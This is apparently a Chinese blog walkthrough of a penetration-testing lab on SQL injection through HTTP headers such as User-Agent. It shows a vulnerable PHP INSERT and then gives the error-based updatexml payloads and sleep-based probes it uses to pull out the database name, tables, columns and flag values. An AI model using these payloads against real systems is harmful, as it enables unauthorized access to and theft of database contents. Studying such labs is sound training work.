滲透測試——HTTP頭部注入

1.http頭部注入

1.原理

一般獲取頭部的信息用於數據分析,但是通過請求頭部也可以向數據庫發送查詢信息,通過構造惡意語句可以對數據庫進行信息查詢。
例一個網頁的請求如下:

OST /Pass-07/index.php HTTP/1.1
Host: injectx1.lab.aqlab.cn:81
Content-Length: 56
Cache-Control: max-age=0
Origin: http://injectx1.lab.aqlab.cn:81
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent:' or updatexml(1,concat(0x7e,database(),0x7e),1),1)# Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://injectx1.lab.aqlab.cn:81/Pass-07/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

username=admin&password=123456&submit=%E7%99%BB%E5%BD%95

這裏看起來很正常,但是看到HTTP協議的User-Agent頭部爲【’ or updatexml(1,concat(0x7e,database(),0x7e),1),1)# Mozilla/5.0 (Windows NT 10.0; Win64; x64)】,其中’ or updatexml(1,concat(0x7e,database(),0x7e),1),1)#是不正常的,可能是攻擊者正在注入攻擊。
這裏的攻擊是通過報錯注入查詢數據庫名,從而對數據庫的信息進行深度剖析。
其中’ or updatexml(1,concat(0x7e,database(),0x7e),1),1)#中的#號在數據庫中作爲註釋符號,它的源代碼如下:

$uagent = $_SERVER['HTTP_USER_AGENT'];
 INSERT INTO uagent (‘uagent’,‘username’) VALUES ('$uagent','$uname');

注入後產生的代碼如下:

 INSERT INTO uagent (‘uagent’,‘username’) VALUES ('' or updatexml(1,concat(0x7e,database(),0x7e),1),1)#','$uname');

此時#號後面的都被註釋掉了,通過製造報錯信息,最後將查詢的信息顯示出來。

2.條件

能夠對請求頭消息進行修改,
修改的請求頭信息能夠帶入數據庫的查詢
數據庫沒有對輸入的請求信息做過濾

2.head頭部注入實戰

http://injectx1.lab.aqlab.cn:81/ 靶場的pass-08-10進行head頭部注入,獲得flag
環境:靶場

1.pass-08

1).開啓代理模式,使用用戶:admin;密碼:123456進行登錄,使用burp抓包

在這裏插入圖片描述
2).使用’or sleep(5),1)#判斷注入點;響應時間爲5秒,確認注入點。
在這裏插入圖片描述
在這裏插入圖片描述
3).使用報錯注入爆數據庫名:head_error
參考文章:https://blog.csdn.net/zjdda/article/details/106243478
User-Agent:’ or updatexml(1,concat(0x7e,database(),0x7e),1),1)# Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
在這裏插入圖片描述
4).爆表名:flag_head;ip;refer;uagent;user
User-Agent:’ or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘head_error’),0x7e),1),1)# Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130
在這裏插入圖片描述
5).爆字段:Id;flag_h1
User-Agent:’ or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘head_error’ and table_name=‘flag_head’),0x7e),1),1)# Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130
在這裏插入圖片描述
6).爆數據:1:zKaQ-YourHd;2:zKaQ-Refer;3:zK
User-Agent:’ or updatexml(1,concat(0x7e,(select group_concat(Id,0x3a,flag_h1) from head_error.flag_head),0x7e),1),1)# Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
在這裏插入圖片描述

2.pass-09

1.和-08一樣,進行抓包
2.使用’or sleep(5),1)#判斷注入點;響應時間爲5秒,確認注入點。
在這裏插入圖片描述
3.確認注入點後開始和-8相同的命令進行注
爆庫名:
在這裏插入圖片描述
爆表名
在這裏插入圖片描述
報字段
在這裏插入圖片描述
報數據
在這裏插入圖片描述

pass-10

與之前的一樣,查看源碼,然後判斷注入點
在這裏插入圖片描述
如下:因爲以上的請求頭部不存在,則手動添加進行測試(如果不能看源碼,則一個個手動進行測試,添加請求頭)
在這裏插入圖片描述
在這裏插入圖片描述
確定注入點,同0-8,0-9步驟開始注入

爆庫:’ or updatexml(1,concat(0x7e,database(),0x7e),1),1)#
報表:’ or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘head_error’),0x7e),1),1)#
爆字段:’ or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘head_error’ and table_name=‘flag_head’),0x7e),1),1)#
爆數據:’ or updatexml(1,concat(0x7e,(select group_concat(Id,0x3a,flag_h1) from head_error.flag_head),0x7e),1),1)#

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章